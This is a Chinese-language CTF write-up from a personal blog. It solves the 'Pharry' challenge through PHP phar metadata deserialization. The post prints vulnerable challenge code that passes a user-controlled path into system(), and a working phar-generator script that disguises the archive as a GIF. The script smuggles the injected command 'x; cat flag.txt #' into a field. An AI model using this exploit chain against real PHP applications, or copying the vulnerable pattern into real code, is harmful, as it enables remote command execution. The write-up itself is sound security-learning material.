mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
232 字
1 分钟
ChaoMixian-WriteUp-20260614
2026-06-14

Pharry#

题目名称给得很清楚,就是考察phar,源码也非常简短:

<?php
class User {
public $avatar_path;
public $name;
// who cares
public $password;
function __construct($name, $password) {
$this->name = $name;
$this->password = $password;
$this->avatar_path = "avatars/".$name.".png";
//todo fill the avatar with something meaningful
system("touch ".$this->avatar_path);
}
function __destruct() {
system("rm ".$this->avatar_path);
}
}
$file = $_GET['path'];
$res = md5_file($file);
if ($res == FALSE){
file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
// everything is a image if you look at it long enough
$res = md5_file("/tmp/remote_file.jpg");
}
if ($res == 0xdeadbeef){
echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");
} else{
echo $res;
}
?>

我知道考点是phar的自动反序列化,但是比赛时一直没成功,那么来复盘一下吧。

这里if ($res == 0xdeadbeef)的分支显然是障眼法,不可能出现这样的md5的。md5_file有一个特性,可以引用外部资源,如果是url,就会自动下载。不过这里并不希望直接结束,而是通过file_get_contents去包含phar里的一个东西。思路是先返回404,然后再提供文件,这样就会下载到/tmp/remote_file.jpg

那么就回到我遇到的坑了,我本地的环境用了5.4和8.6测试,而这俩都不行,必须用PHP7才能使用这个特性。去看PHP8的官方文档,特意提到了自动反序列化的差异

<?php
class User {
public $avatar_path;
public $name;
public $password;
}
$cmd = $argv[1] ?? 'cat flag.txt';
$out = $argv[2] ?? 'payload.jpg';
$tmp = preg_replace('/\.jpg$/', '.phar', $out);
@unlink($tmp);
@unlink($out);
$phar = new Phar($tmp);
$phar->startBuffering();
$phar->addFromString('x', 'x');
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$u = new User();
$u->name = 'a';
$u->password = 'b';
$u->avatar_path = 'x; ' . $cmd . ' #';
$phar->setMetadata($u);
$phar->stopBuffering();
copy($tmp, $out);
php -d phar.readonly=0 make_phar.php 'x; cat flag.txt #' payload.jpg

flag

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260614
https://blog.chaomixian.top/posts/chaomixian-writeup-20260614/
作者
炒米线
发布于
2026-06-14
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录